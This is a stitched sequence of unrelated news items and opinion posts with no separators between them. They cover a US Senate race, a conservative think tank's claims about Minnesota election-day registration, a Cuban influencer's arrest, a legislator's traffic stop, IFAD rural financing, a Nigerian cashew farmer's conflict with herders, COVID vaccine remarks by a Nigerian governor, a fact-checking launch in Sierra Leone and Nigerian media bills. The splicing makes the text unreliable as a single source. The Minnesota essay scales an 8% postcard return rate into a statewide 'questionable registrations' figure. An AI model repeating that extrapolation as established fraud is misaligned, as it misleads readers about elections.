That was Scotts second nationally televised speech on behalf of the Republican Party in recent months. He also closed out one night of the 2020 Republican National Convention on behalf of Trump where he took on a more adversarial tone against then-candidate Biden.

Scott faces two Democratic challengers in 2022: state Rep. Krystle Matthews of Ladson and Spartanburg County Democratic Party Chairwoman Angela Geter.

Neither Geter nor Matthews' fundraising totals had been uploaded to the Federal Election Commission website as of July 13, two days before the required deadline.

A spokesman for Matthews' campaign said they wouldn't disclose their reports until the deadline. Geter could not be reached for comment on July 13.
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Carl Hessler Jr. is a multi-media reporter who writes about crime and justice from the Montgomery County Courthouse for 21st Century Media Newspapers Greater Philadelphia area publications. Follow Carl on Twitter: @MontcoCourtNews
The Pennsylvania Department of Environmental Protection believes a kind of bacteria is the cause of a bad taste in tap water drawn from the Schuylkill River.
Election integrity is a critically important issue. In Minnesota, we have an administration and particularly a Secretary of State whose object seems to be maximizing opportunities for fraud. We have same-day registration, but no provisional balloting. This means people vote first, and we try to find out whether they are actually qualified after it is too late. Counties send post cards to same-day registrants who cant verify their names and addresses to see whether they come back as undeliverable. The Minnesota Voters Alliance sued to obtain these and other records from the Secretary of State, but Minnesotas Supreme Court held that he can keep them secret. So American Experiment decided to conduct our own experiment. In this article, from the upcoming issue of Thinking Minnesota, Communications Director Bill Walsh reveals the results of our experiment and more broadly addresses issues of ballot security in Minnesota.

One of the many ways our nation remains divided is over election integrity. One side has serious doubts about whos voting  and whos counting the votes. The other side calls such doubts a Big Lie and expends a lot of energy trying to silence claims of voter fraud. Never mind that successful fraud, by definition, goes undetected.

In Minnesota the matter is made worse because Secretary of State Steve Simon refuses to release challenged voter lists, despite widespread support for stronger voting laws. Februarys Thinking Minnesota poll found that 69 percent of Minnesotans favor a photo ID requirement at the polls. Only 28 percent are opposed. The same poll showed that one-third of respondents lack confidence in election integrity, a shocking number in a state that leads the nation every year in voter turnout. But Simon called the 2020 election a tremendous success and dismissed claims to the contrary as foolish and irresponsible and unworthy of attention.

Center of the American Experiment worked with the Minnesota Voters Alliance to shine some light on the weakest part of Minnesotas election system, election day registration. Call it the American Experiment Voter Integrity Project.

Voting history

Minnesota was one of the first states in the nation to adopt the practice of election day registration in 1974 and support among the electorate remains strong. In fact, 353,179 Minnesotans registered to vote on Election Day 2016. That number dropped during the pandemic in 2020 to 259,742, but only because so many voters chose to mail in their ballots early.

Same-day registration is not unique in our country  20 states offer some form of the practice each November. What is unique to Minnesota is the absence of a provisional ballot procedure to verify that those registering on Election Day are actually eligible to vote. In nearly all states where voters cant immediately prove they are legal voters, a provisional ballot is employed. Election officials use the days between the election and the official canvass of results to confirm the eligibility of the voters who couldnt demonstrate their eligibility on election day. If the voter is deemed eligible, the ballot is counted and included in the totals.

All but three of the states with election day registration also have a provisional ballot process in place to prevent voter fraud. In New Hampshire, election officials take a photo of new voters at the poll and have them sign an affidavit swearing they are eligible to vote. Idaho is the only state, besides Minnesota, without a provisional ballot procedure to accompany their election day registration. (Idaho does have a photo ID requirement for all voters at the polls.)

Vouching

Another voting irregularity in Minnesota is the ability of a neighbor or friend to vouch for the residency of an unregistered voter in their precinct. An eligible voter can vouch for up to eight other residents each Election Day, simply by signing an oath swearing to their residence in the precinct. Vouching is used to register voters who otherwise cant demonstrate to election judges where they live, using a drivers license, student ID or one of the many documents from Minnesota Rules governing elections:

an original bill, including account statements and start-of-service notification, for telephone, television, or Internet provider services, regardless of how those telephone, television, or Internet provider services are delivered; gas, electric, solid waste, water, or sewer services; credit card or banking services; or rent or mortgage payments.

There is a history of abuse of the vouching process in Minnesota:

 In the 2010 election, a group representing Students Organizing for America, an outgrowth of President Barack Obamas political organization, was accused of illegally vouching for students on the University of Minnesota campus. Students were meeting outside the polling location and dividing into groups after being assigned to a voucher.

 In the 2012 election, two women were accused of voter fraud after suspicions were raised by an election judge because a counselor from a drug treatment program brought 15 patients to the polls and vouched for their residency.

In the 2016 election, six percent of election day registrants in Minnesota used vouching to establish their eligibility to vote, equaling 20,000 voters.

Registrations treated differently

Another flaw is the difference in treatment between voting early and on Election Day. During early voting (by mail or in person), your application is vetted through the state system to verify eligibility. Your name and address are checked against the Department of Public Safety database or the Social Security database. If there is a problem with your registration, the county auditor must notify you 20 days before the election and give you a chance to make corrections. The applicant must be allowed to vote only after completing the registration or after registering or updating their registration using current information for the applicant.

But if a voter goes to a polling location on Election Day and registers (using documents or through vouching), verification is done after the election. That is, after the vote has been counted. The county auditor runs the same verification using the Department of Public Safety and Social Security databases, but its a moot point once a vote is tallied. This is a serious flaw in Minnesotas verification process and the impetus for adding a provisional balloting system.

The Office of Legislative Auditor found serious problems with election day registration in its 2018 program evaluation report. Among that reports findings:

 Depending on how and when persons register to vote, their identity and eligibility to vote may not be checked against other data sources until after they have voted.

 Minnesota allows voters to register on Election Day, which allows ineligible persons to register and vote.

 County staff create and update records of registered voters in the Statewide Voter Registration System (SVRS), Minnesotas centralized database of registered voters, but a voters information may be inaccurate on Election Day.

The legislative auditors exposed the weakness of the SVRS. Their report found more than 26,000 persons marked challenged in the SVRS from the 2016 general election. These voters registered (and voted) that Election Day but had their eligibility status questioned after the fact by county election officials. Its bad enough these voters were able to vote in 2016. It is even worse that they were still on a challenge list two years later and allowed to vote again.

Postal Verification Cards (PVCs)

A voter lands on the challenged list after county election officials attempt to verify his eligibility. One of the tools officials use is a postcard mailed to the address the voter used to register. If the postcard comes back as undeliverable, it raises a red flag about that voters eligibility and is supposed to trigger an investigation. From the legislative audit report:

County election staff mail postal verification cards (PVCs) to confirm the addresses of new and updated registrants. The postal service may not send the PVC to a forwarding address; it may be delivered only to the name and address on the card.

If the postal service returns any cards to the county election office as undeliverable, county officials must resolve the reasons for their return. A postcard could be returned for many reasons, ranging from inaccurate data entry to fraudulent registration.

The rules are even more explicit for election day registrations:

The county auditor must send notices to election day registrants whose information cannot be verified and request that the voters contact the registration office. If the voter does not provide information that resolves the discrepancy so that the voter registration application can be verified, the county auditor must challenge the voter in the statewide voter registration system and may refer the matter to the county attorney.

The legislative auditors updated their audit in 2019 and criticized the method counties are using to send postcards:

The requirement for counties to send address verification postcards to a random sample of election day registrants within 10 days after an election, as currently implemented, does not serve a useful purpose. A sample size of three percent of election day registrants, set by the Office of the Secretary of State through rulemaking, is not large enough to yield useful data in counties with small populations. Moreover, county officials we interviewed did not send the postcards to a random sample of registrants, and several counties did not complete the task within the required 10 days.

Lawsuit against Steve Simon

The Minnesota Voters Alliance (MVA) read the 2018 auditors report with interest and asked Simon for the current list of challenged voters in the SVRS. To identify fraud, such as felons voting before they were eligible or people voting from bogus addresses, the challenged list would be the first place to look.

Simon refused to share the list with the MVA, claiming it was non-public data under the Minnesota Data Practices Act. The MVA sued Simon in District Court, saying his interpretation of the data act was too narrow and unsupported by law.

Normally, all data is considered public unless the legislature specifically deems it non-public. In the case of election data, the legislature has been very specific about when election data is non-public, such as to protect people who fear for their safety because of domestic violence, sexual assault or stalking. The law says:

The secretary of state may provide copies of the public information lists and other information from the statewide registration system

Simon argued that he was protecting voters privacy. But a voters name, address, phone number (if they provide it), email address and age are already public. All Simon was protecting was which voters appeared on challenge lists from county election officials.

Minnesota Voters Alliance won in District Court and their victory was unanimously affirmed on appeal by the Minnesota Court of Appeals. Slam dunk. Until Simon appealed once again, to the Minnesota Supreme Court. A majority consisting of judges appointed by Mark Dayton reversed the lower court decisions, hanging their hat on the word may. Simon may make the data public, but he doesnt have to.

What does Simon know about the challenged voter data that we dont? Was the legislative auditors office on to something with its program evaluations? Why wont Simon release the data?

The American Experiment Voter Integrity Project

American Experiment decided to conduct its own mailing of postal verification cards following the 2020 election to see how many would come back as undeliverable. The experiment was somewhat delayed because we did not have access to the list of who registered and voted on Election Day until the counties and secretary of state made that data public a few months after the election. And although undeliverable cards do not necessarily imply outright election fraud, the percentage of undeliverable mail and returned mail surprised us.

There were 20,056 voters who registered to vote on Election Day in 2020 in Minneapolis. We mailed postcards to a little more than half of them (11,857) as soon as we had access to the data in February 2021.

Before the cards even got to the post office, the mail house software rejected 92 addresses as undeliverable. Some were brand new construction not even in the database yet, some were due to data entry errors (street instead of avenue), some had street numbers that didnt exist (425 8th St SE), and one appears to be in Linden Hills Park (4236 York Ave S).

Of the 11,765 cards that made it through the mail house, 887 were returned as undeliverable  no such person with that name living at that address.

The undeliverable and returned cards do not represent 979 fraudulent votes, but hundreds merit further investigation.

Many of the returned cards came from the University of Minnesota and Augsburg University student housing. College students move around a lot, but these just voted in November. Did they all graduate? Did the schools shut down in early 2021 because of COVID and send kids home? Seems unlikely. Some examples:

 Fifty-seven cards returned from 2508 Delaware Street SE, known as the Quad on Delaware.

 Thirty-six cards returned from 311 Harvard Street SE, known as the Hub Apartments.

 Thirty-six cards returned from 900 Washington Ave SE, known as Dinnaken House.

 Twenty-six cards returned from 800 22nd Ave S, known as Urness Hall.

College campuses are hotbeds of political activism, and state and local campaigns spend a lot of time and energy recruiting students to vote and volunteer. Joe Biden received 81 percent of the vote in Minneapolis Precinct 2-10, where many of these addresses are located.

We also had three cards returned from the Days Hotel on the U of M campus, one from the Millennium Hotel in downtown Minneapolis, and one from a Minnesota Teen Challenge treatment facility. Not illegal on its face, but certainly worth investigating.

Its reasonable to assume some of these voters moved between the time they registered to vote and the mailing of our postcard. But if you apply our eight percent return rate against the 259,742 voters who registered statewide to vote on Election Day 2020, it would represent 20,779 registrations that are at least questionable and might represent voter fraud. (There are, of course, numerous other ways of committing fraud that were not part of this experiment.)

This list deserves more scrutiny. Simon should show us the data on challenged ballots. Counties should make public the results of their postcard mailings.

The privacy argument worked with Mark Daytons court appointees and a sympathetic and lazy press, but it shouldnt work with legislators, given that 32 percent of Minnesotans have expressed a lack of faith in the current electoral system. Following these recommendations will restore voter confidence:

 The verification process for election day registration should be the same as registration before Election Day. Voters should not be allowed to vote until their eligibility has been determined.

 Minnesota should add a provisional ballot process to election law, like other states that use it to complement election day registration.

 Minnesota should add a photo ID requirement to election law.

 Simon should immediately release the challenged voter data requested by the Minnesota Voters Alliance.

 The Minnesota Legislature should hold Simon accountable in public hearings for not releasing the challenged voter data.

 The Minnesota Legislature and Secretary of State should fully implement the recommendations of the Legislative Auditor from the 2018 and 2019 program evaluations of election day registration.

The 2018 auditors report, our postcard experiment and Simons inexplicable refusal to release the data all lead to the same conclusion: Because theres no voter ID requirement, Minnesotas system of election day registration without provisional ballots is the weakest in the nation  the type that facilitates fraud  and it must be fortified.
The Obama cat has the Biden administrations tongue as the Communist thugs carry on in Havana, imprisoning anyone who can get the word out on the open air prison they maintain to support the regime. The continued tyranny and immiseration appear to be reaching a breaking point with the protests that have brought the regime back into the news. Its time for it to go.

Yesterday Cuban police arrested the popular YouTube/Instagram personality Dina Stars at her home while she was interviewed on the Spanish Cuatro channels television program Todo Es Mentira (I believe that is translated Everything Is a Lie).

This much is true. As the Washington Free Beacons Philip Caldwell relates, Stars calmly observed midway through the interview, State security is outside.I have to go outside. Caldwell continues:

Stars then left the room to speak to the police as the programs hosts reacted in disbelief. Theyre going to arrest her live on TV, one said. Stars returned to the camera moments later to tell the panel that Cuban authorities were taking her to police headquarters. I will hold the government responsible for what may happen to me, Stars said. I have to go now. Video taken by one of Starss friends showed Cuban police escort her to the back of a police car before driving away.

The Sun has more here. The linked videos are below.
St. Paul police have released the bodycam footage of the July 4 traffic stop of state representative John Thompson. I have embedded it below. The first minute and the last minute capture the interaction. He was driving with a Wisconsin drivers license at a time when his driving privileges had been revoked as a result of an unmet child support obligation. He was stopped because his car lacked a front license plate.

The officer asks him: Why in such a hurry? Thompson responds: I dont think I took off like a bat out of hell. I just drove off.

Thompson tells him hes a state representative in this district right here, man. The officer responds: With a Wisconsin license? Good question!

Thompson puts his racial hustle into overdrive when the officer returns with a ticket for driving with a suspended license. Tom Hauser adds that he has Minnesota addresses outside his legislative district (tweet at bottom). R-a-a-a-cism!

Tom Hauser is a careful reporter who raises the issue of Thompsons current address below. Regardless, this guy is unfit for public office. Like Keith Ellison and Ilhan Omar, however, he is shielded by DFL privilege, as Jon Justice and Drew Lee call it. There should nevertheless be more to come.
Louis (left) and Max Kaumeyer pose for a portrait. the Kaumeyers recently were named two of the 24 semi-finalists in the Canadian Cattlemens Associations Cattlemens Young Leaders program.
Yes, no matter what

Yes, but it depends on variety

No, for medical reasons, uncertainty

No, principle

Vote

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Rural businesses, which are so vital for transforming our food systems, will get a much needed boost from an ambitious new financing programme launched today by the UNs International Fund for Agricultural Development (IFAD), as part of its broader efforts to address rising hunger and poverty levels in the worlds poorest countries.

The Private Sector Financing Programme (PSFP) aims to spearhead an increase in much-needed private investment in small and medium-sized enterprises (SMEs), farmers organizations and financial intermediaries servicing small-scale farmers, which are too often neglected by investors. It will provide loans, risk management instruments (such as guarantees), and equity investments.

We can end poverty and hunger! But to achieve this, we urgently need to stimulate more private sector investments to rural areas and unlock the immense entrepreneurial potential of millions of rural SMEs and small producers, said Gilbert F. Houngbo, President of IFAD. With access to capital, they can attract more investors and partners, grow their businesses and create employment opportunities  especially for young people and women.

As part of its launch, the PFSP announced its first loan of US$5 million to a Nigerian social impact enterprise, Babban Gona, which has a strong background in successfully moving small-scale farmers from subsistence to a more market-orientated model.

The loan will help Babban Gona support 377,000 small-scale rice and maize producers in Nigeria with a comprehensive package of training, quality inputs, and marketing services. Babban Gona will also store and sell the harvest on behalf of its farmers when prices are higher. They aim to create up to 65,000 jobs for women and 66,500 jobs for youth by 2025. By committing these funds, the PSFP aims to stimulate larger contributions from other investors and help Babban Gona meet its target to raise $150 million to reach millions of small producers.

Lack of financing and access to financial services prevents rural SMEs and small-scale farmers from harnessing opportunities offered by a growing demand for more diverse and nutritious food globally. SMEs involved in food processing, packaging, transport and marketing are essential to small-scale farmers, providing them with services, inputs, and market opportunities, which contribute to increasing their income and employment.

Even before the COVID-19 pandemic, financial service providers only met about 30 percent of the $240 billion that rural households required in their demands for finance. In addition, the lending gap to agricultural SMEs was around $100 billion annually in Sub-Saharan Africa alone.

IFAD aims to mobilise $200 million for the PSFP from public, private and philanthropic sources to leverage a total of $1 billion in private investments. This will improve the lives of up to 5 million small-scale farmers. The PSFP will focus its investments on job creation, womens empowerment, building farmers resilience and accelerating climate change mitigation.

With growing hunger and poverty and the urgent need to make our food systems more sustainable and equitable, business as usual is not an option. We need to innovate now, said Houngbo. This is why IFAD is creating new instruments to catalyse increased private sector investments to rural areas where they are needed most.

IFADs investments, combined with its 40 years of experience working with rural communities, global field presence and large portfolio in agriculture, give it an advantage in attracting private investors who may be cautious about investing in agriculture and rural economies.

The PSFP is part of IFADs wider ambition to increase its engagement with the private sector to reach millions more rural people and double its impact on eradicating hunger and poverty by 2030. To this end, in 2019 IFAD amended its founding agreement to enable it to invest directly in private sector entities. Previously, IFAD only channelled investments to rural areas through grants and sovereign loans to governments. IFADs loan to Babban Gona is IFADs first loan to a private sector entity.
Bolanle Titilola is the chief executive officer of Mayegun Agribiz. She owns a cashew plantation in Oyo State, where she cultivates soybeans and maize to complement the cashew farm.

In this episode of our Women in Agriculture, she bares her mind on how she lost her crops to herders.

PT: Can you put us through your journey in agriculture?

Ms Titilola: I started practicing Agriculture in 2017. I actually wanted to do it when I was in secondary school. I studied Agricultural Economics at the University with the hope of working with farmers. Upon graduation, there was no job but I wanted to work in a very big agric firm so I can learn before I save money and start my own. Unfortunately I couldnt.

So, someone advised me to apply for a bank job, I did and I got it. Apparently, I forgot agriculture. I left the bank after 23 years. When I left the bank, my mind didnt go to Agriculture, I was thinking of getting a Masters degree in Education. My husband suggested I go for Economics, which I considered because it was not bad, but when I got there, the department said my result was too old, I was pissed off.

Someone then introduced me to another course. It was during my masters that the idea came back to me, to go into agriculture. Fortunately for me, my husband bought land 12 years before then but the location was far away. After some time, I considered using it because it was going to be difficult to get such size of land in an urban space, to do the kind of farming I wanted to practice.

My plan was to start a plantation. I dont like the idea of cultivating every year. I prefer to plant something, nurture it for five years then it will start generating money for me. Thats the type of agriculture I wanted to do. I was thinking that once I establish the plantation, I will be able to help farmers. In 2017, I started farming, I planted cashew. Some people used to feel that its because my daughter is a farmer but it is not true. Although she started farming before me, I think she is one of the reasons I remembered that I had to go back to the farm.

I started very small, because the land is about 160 acres. I had to add maize and soya beans to it and it was profitable. I use about 70 acres for cashew.

PT: How are you able to get seeds for the other annual crops you cultivate?

Ms Titilola: I got farmers that took me to where they buy seeds locally. So I bought from the local markets. I havent planted locally sourced seeds but this year, I bought improved seeds. For soya beans, it has been difficult.

PT: Aside from seeds, there are other inputs for your farm, like fertilisers and herbicide. How do you access them?

Ms Titilola: Fertilizer and seeds, they are always available, if you have the money. There are varieties of herbicides farmers can use that are readily available in the market.

I have not been using fertilizer for my maize and soybeans, I have only been using it on my cashew, because it is a long term crop.

This year I am planning to do another type of cropping where I will fertilize a portion of land and cultivate maize on it, so I will check the difference between a fertilized maize and unfertilized maize. Manure is also expensive too. I am trying to be careful. To cultivate one hectare, you will use like one bag of fertilizer. You know, planting maize and soya beans is not my main focus. Im just using it to pass time, pending when my cashew will grow. When the cashew grows into an umbrella shape, I may not be able to plant anything on the ground. The cashew has started fruiting but it is nothing to write home about because it has not gotten to its maturity stage. Two years from now, it will be very fruitful.

PT: How would you describe market presence for your crops?

Ms Titilola: For now, I dont have a permanent off taker to sell the produce to. It is just the middle men; they cheat me a lot. They dont use scales to measure the goods, they use measuring bags which are deceptive; I cannot ascertain the credibility of the bag.

I wish I had a connection with a company that uses maize and soybeans as raw materials for production. But, the crops are seasonal. Selling directly at rural markets is like cheating, you need to have a warehouse to store the goods and this is not easy. Mostly, I have been selling in rural markets.

PT: You spent over 20 years as a banker, then took out time to reflect on what you want to retire to. You had plans to start up something, how did you come up with capital?

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Ms Titilola: I got capital from my family and friends. Who will loan you money that will wait for cashew to grow for five years?

PT: Insecurity is the talk of the day as every farmer has one way or another had a taste of it. So how has it affected you?

Ms Titilola: I am a direct victim of some of the issues regarding security. Before I started in 2017, the land has been there for over 10 years and these herders do roam the land freely over this period. When we started, I was under the impression that cows dont eat cashews so lets leave them to confine roaming but I was surprised when my cashews started growing. I left the farm one day and when I returned, half of the cashew was gone, branches had been broken.

I was warned by other farmers but I didnt heed their warning saying Ill warn the herders to roam carefully and not tamper with my cashews. But still they destroyed over half my cashew and I was really angry and sad. I had to chase them from the farm and thats when the war started. In 2019 during the dry season, they burned down my farm and I was not close to the farm and nobody knew what happened. In 2020, I was in Ibadan and someone called me from the farm that my farm was on fire.

The herders set my farm ablaze and stood there with the cows to watch with the expectation that no one should come around that time. When they saw that people were around the farm they ran with their cows. When the fire stopped, I already lost about 5 acres of cashew. I went to the police and they kept asking me questions that I should not know. I just had to start calling other people that I know that I want to take the matter to court and thats when the police started investigating them and arrested those involved who initially denied the accusation but after sometime, agreed that it was their children that did it. I asked to be compensated but they started calling their associations and I realised that these guys know the law, they just want to be wicked. The police tried to compromise the case but I kept calling people I know and that kept them in check.

The herders had to start begging but I insisted on getting my compensation as what I lost was worth over 15 million naira. So they kept begging and calling people to beg on their behalf. I agreed and asked them to write an undertaking that theyll never enter my farm again, which they did. They did calm down even though they still entered each others farm but they were scared doing it. This year, there are no fire incidents and thats a good thing but there is still the issue of herders on other peoples farms.

We are careful to prevent other issues that might erupt due to their misconduct and trespass. I actually thought I could leave my farm 10 years without fencing but with the fire issue and their trespasses, I started thinking of fencing which will cost over 20 million to execute.

PT: Do you belong to any farmers association?

Ms Titilola: No I dont belong to any association. At some point I wanted to join the cashew farmers association but when I checked, it requires a lot of money to join them so I didnt.

PT: How many workers do you have on your farm?

Ms Titilola: I have 3 permanent staff and an unknown number of temporary staff as they come when they are needed.

PT: Climate change is a global issue and has affected farmers and is also believed to be the reason behind herders leaving the North to the south to see if they can feed their cattles. Do you think there is something the government can do to avert this problem?

Ms Titilola: Personally, the problem we are having with herders is not a result of climate change. The clash is a result of our mindset. Government needs to reorient all of us.

PT: Agriculture is tedious, some young people have interest in it but are scared of the stress, what advice would you give a young person to begin the farming journey?

Ms Titilola: First, the person should start small, learn on the job, make mistakes and learn from them. If you have one million naira to start agriculture, use N 200,000 thousand instead. If the N200,000 vanishes, you can still use some part of the remaining money to continue the business. You will be able to master the whole thing after a while.

Forget about money at the initial stage because the first three years is a learning stage. Make proper inquiry before you embark on a farming journey.
Governor Ifeanyi Okowa of Delta State has urged Nigerians to stop having doubts about the safety of the COVID-19 vaccines.

The governor fielded questions from State House correspondents after a private meeting with Vice President Yemi Osinbajo on Tuesday at the Presidential Villa, Abuja.

The News Agency of Nigeria (NAN) reports that the World Health Organisation (WHO) recently warned that COVID-19 Delta variant was fast spreading around the world.

NAN also reports that the National Primary Health Care Development Agency(NPHCDA) has officially ended the countrys first phase of COVID-19 vaccination.

NPHCDA affirmed that the Oxford-AstraZeneca vaccine was 88 per cent potent against the Delta variant detected in the country.

Mr Okowa said the vaccines had been proven to be harmless with no reported case of death in Nigeria.

According to him, out of 3.94 million doses of Oxford- AstraZeneca vaccine distributed in Nigeria, Delta got about 95,000 doses which had been used.

That has been fully utilised; both in the first and the second dose; actually, in the country, they have done well.

As a result of the anti vaccine campaign, the kind of messages they pass out, a lot of people started having some level of hesitancy but all of the doses we have in state were taken up.

And across the nation, as of the last meeting we had last week Thursday, I chaired the NEC sub-committee interfacing with the Presidential Task Force, we didnt really lose anything.

As of that Thursday, one will say, few days for it to expire, we had only nine vials; so that means we are not going to lose anything.

But we have to up the campaign as we are expecting many more vaccines at the end of July, first week of August; which is going to run into a few more millions; so we just have to keep the campaign going.

I want to reassure Nigerians that the AstraZeneca vaccine and all other vaccines, have been proven very safe; the adverse effect following vaccination actually has been very minimal.

Theres been no reported death following vaccination; and we have all taken it; our first and second doses and we are well.

The governor said efforts were being made to boost the Internally Generated Revenue (IGR) of the state amid dwindling revenue at national and state levels due to COVID-19 pandemic.

He said his administration was trying to get people into the tax bracket while being mindful of the impact of such on the populace.

And to that extent, you are careful so that you dont do overtaxing of the entire populace and therefore further dig down on the economy and cause a situation where many families are not able to feed.

All the same, we try to bring a lot into the tax net; we are trying to be very responsible in our approach to that.

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Because of the COVID-19, 2020 truly actually destroyed a lot of businesses; we are also doing a lot of things to try to support some of those businesses.

We are also growing a lot of youth entrepreneurs in the state through various programmes; so those ones can come in into tax bracket.

Mr Okowa said boosting the states IGR might not be as much as expected because of the impact of the COVID-19.

On security, the governor said there was need for a lot of collaboration among the governors across the nation.

He said there was also need for the Federal Government to work closely with the governors in tackling insecurity.

All the governors have also realised that they need to work with the communities, the vigilante groups that come in various names and I believe that it is going to help each and every one of us out.

There are different kinds of insecurity across the nation; the kidnappings, the farmers-herders clashes which has created a lot of problems and we are beginning to get worried that if it is not curbed, we may get into a situation where we will begin to have shortage of food, he said.

According to him, food insecurity itself is something that people cannot bear. (NAN)
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The government of Sierra Leone Tuesday in Freetown gave a full-throated support for expanded freedom of the media in the sub region, stressing that journalism is the oxygen of democracy, and that freedom of expression has been the cue for all positive revolutions in the world.

This view was advanced by the Minister of Information, Mohamed Swarray, while speaking at the official launch of Dubawa, West Africas leading fact-checking organisation for stemming the spread of misinformation and disinformation and for the amplification of truth in public policy, public health and the media.

The minister, speaking at the Country Lodge Hotel, venue of the launch, said the awareness of the central role of media freedom as a condition for a thriving democracy is what led the current Sierra Leonean administration to push for the repeal, last year, of the 1965 Criminal defamation law in the country; to welcome the decision of the Sierra Leonean Association of Journalists [SLAJ] to lead on the peer regulation of the media; and for the government to pass a Right to Information law that opened up public information in the purview of government to citizens access and scrutiny.

Mr Swarray then saluted the vision of the Premium Times Centre for Investigative journalism, PTCIJ, for opening its office in Sierra Leone saying the government of Sierra Leone welcomes you, assuring you of an enduring partnership, and will relentlessly support you, adding that Dubawas entry into the Sierra Leonean media space bode well for sanitizing the growing wave of fake news on the crest of a fourth industrial revolution that has democratized mobile telephony and access to digital platforms, and with our growing youthful population.

This is a veritable context for fake news but the solution is not through draconian laws remarked Mr Swarray whose government and Ghana are the only two West African states who are currently members of the Global Media Freedom Coalition formed in July 2019 as a partnership of countries working together to advocate for media freedom and safety of journalists and hold to account those who harm journalists for doing their job. The Coalitions mission is to defend media freedom where it is under threat.

If we want to build democracy and development, we have to come to terms with the fact that the relationship between the media and the government is a marriage of convenience; otherwise the whole process of governance will come to atrophywe really have to see it as a relationship of convenience, Mr Swarray emphasised, urging journalists to shun the pressures from those who want to use you to take political advantage, simply portray the government in a bad light, or for sheer pecuniary advantage.

The minister urged journalists to practice a journalism of responsibility and not share company with those who have a phone, have access to social media and have grudge pointing out that in the new environment of the pandemic, and of vaccine hesitancy, we must define our role as promoting the truth, access the fact before publishing and here is where working with Dubawa can help us all.

In his remarks, President of Sierra Leonean Association of Journalists [SLAJ], Ahmed Nasralla, argued that Indeed, in this age of growing information crisis, which is a much more devastating pandemic than COVID-19, powered by the digital revolution, the media has become a victim of circumstance. And so, fact-checking organisations like Dubawa are the rescuers, the warriors of truth, to help the independent media and its practitioners stay the course by adapting to the needs of a dynamic digital environment.

Mr Nasralla said the overwhelming mis-representation of facts, political propaganda, political advertising, falsehood, distorted news, conspiracy theories, and many more can spread exponentially, and so we need fact-checking platforms like Dubawa to help limit the detrimental impact of such type of information on societies.

The SLAJ president called for fact-checking exercises to be done in a proportionate speed to contain the damage that will be done, if not already done, by publication of the mis-information because according to him the challenge is that the fact-checking- which is basically an exercise in verification, debunking, and correction of untruths- is done after publication of the mis-information and after it has spread widely on the web and social media platforms.

Despite the pervasive stretch of misinformation, Mr Nasralla, taking a futuristic view of the information landscape, remained optimistic. In 10 years time, the role of the media in providing accurate information, exposing corruption, holding public officials and governments to account, educating and raising awareness, etc., will not change much. What will change is the demand for greater responsibility of the media in combating fake news, hate speech, misinformation, disinformation, and conspiracy theories, all of which have culminated into a raging media virus called infodemic, he said.

Willette James, Head of the department of Journalism at the Fouray Bay University, said the arrival of Dubawa will reinforce the important work of strengthening ethics and accountability in the media while Ibrahim Shaw, Chairman of the Right to Information Access Commission, said Dubawa will add a significant value to the promotion of accountability in governance as well as greater responsibility in media practice. We will be happy to offer all the help and assistance to make your work concrete and meaningful, he said.

In her remarks, Oluwatosin Alagbe, Programme Director of the PTCIJ, explained the Sierra Leonean Launch of Dubawa in the context of the organisations mission to help promote integrity and ethics in the governance regime of the sub region. She thanked the Sierra Leonean government for the warm acceptance of the new office and promised to help build the capacity of the media, civil society, and public institutions in advanced skills of verification.

Earlier, Dapo Olorunyomi, Executive Director of the PTCIJ, said it was logical for Dubawa to berth in Freetown, the home of the first newspaper in West Africa. For all of us in the sub-region, particularly those inspired by the values and mission of the 19th Century press that made a case for independence in West Africa, it is like a pilgrimage coming to Freetown, because it all started here and the city deserves the consecration of a mechanism that seeks to renew and strengthen the critical values of truth as the epicentre of an accountability journalism, Mr Olorunyomi said.

He thanked the journalists, editors, publishers and public officials who graced the occasion.
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The sponsor of the controversial Nigeria Press Council (NPC) and the National Broadcasting Commission (NBC) amendment bills, Segun Odebunmi, on Tuesday said that the House has agreed to suspend the bills.

Mr Odebunmi who doubles as the chairman of the House committee on information, national orientation, ethics and values, said the reprieve would avail the lawmakers time for proper consultations over the bill.

We have been on this process for a while and right now, we have suspended it for more consultation to happen, Mr Odebunmi, who spoke on Channels TVs Sunrise Daily on Tuesday, said.

The bills have been resisted by Nigerians, including a media solidarity on Monday calling for the bills to be thrown out.

Media groups called it draconian, but the lawmakers said it was aimed at oiling the machineries of the press for optimum performance.

The media groups would have none of that as they launched a widely circulated advertorial that ran with the caption Information Blackout, on the front page of many national dailies of Monday and Tuesday as well as television chyron and lead graphics on online media.

Its not just against the media, the advertorial read. It is about societys right to know, your right to be heard.

The groups saw the bills as an extension of the existing censorship on broadcast stations, which are often ordered to stop airing programmes the government feels displeased with and slammed with heavy fines at will when there is an alleged breach.

On one hand, the Nigeria Press Council (NPC) empowers the president to appoint the chairman of the board of the council as well as other members of the board upon the recommendation of the information minister.

On the other hand, the National Broadcasting Commission (NBC) amendment bill wants the lawmakers to arrogate the power to censor the media to all online media as it is with broadcast media.

Earlier in June, the government suspended the operations of microblogging site Twitter, citing protection of national sovereignty. It has since been seeking to place other social media platforms under its control.
Another round of media solidarity, this time as editorials in major dailies in Nigeria, has followed Mondays widely circulated advertorial calling on the government to shut down two controversial media bills at the National Assembly.

Nigerian newspapers expressed their disdain for the bills in their respective editorials on Tuesday, saying, while the media is not averse to regulation, it wants it done without undermining its independence.

This largely explains why the Nigeria Press Council (NPC) and the National Broadcasting Commission (NBC) amendment bills have been subject of full-throated backlash particularly from media groups who described the proposed legislations as an attempt to stifle the press.

The bills do not offer the independent regulatory possibility the press said it was open to, the newspapers said in their editorials.

Rather, it serves into the hands of the government  which has a history of arbitrarily censoring and fining broadcast media that air programmes it disagrees with  by handing sweeping prosecutorial powers to the president and the minister of information.

The Nigerian Press Council (NPC) bill for one gives the president the power to appoint the chairman of the councils board as well as other members of the board upon the recommendation of the information minister.

Likewise, the executive has sought the National Assemblys cooperation to empower the National Broadcasting Commission (NBC), through its amendment bill, to wield regulatory powers over all online media as it already does with broadcast media.

The National Assembly has said the bills would remove bottlenecks affecting (media) performance and make it in tune with current realities in regulating the press.

The spokesperson of the Senate called the advertorial against the bills a blanket media ambush. House Speaker Femi Gbajabiamila has also said the legislation was proposed in good faith.

We cannot let every institution run amok, the executive is regulated, the judiciary to a large extent is regulated, the legislature is regulated, Mr Gbajabiamila said. Institutions are meant to be regulated, there is not one institution that is above the law.

The proposed amendment to section 2 of the NBC would continue to make the NBC the accuser, the prosecutor and the judge in its own case.

But Guardian Newspaper said it was curious to know why an unelected body such as NBC should be conferred with the power to determine the public interest.

The media is not averse to regulations and sanctions against fake news and hate speech, the newspaper added, as long as they do not erode media independence and do not seek to criminalise journalism or undermine constitutional guarantees of freedom of expression.

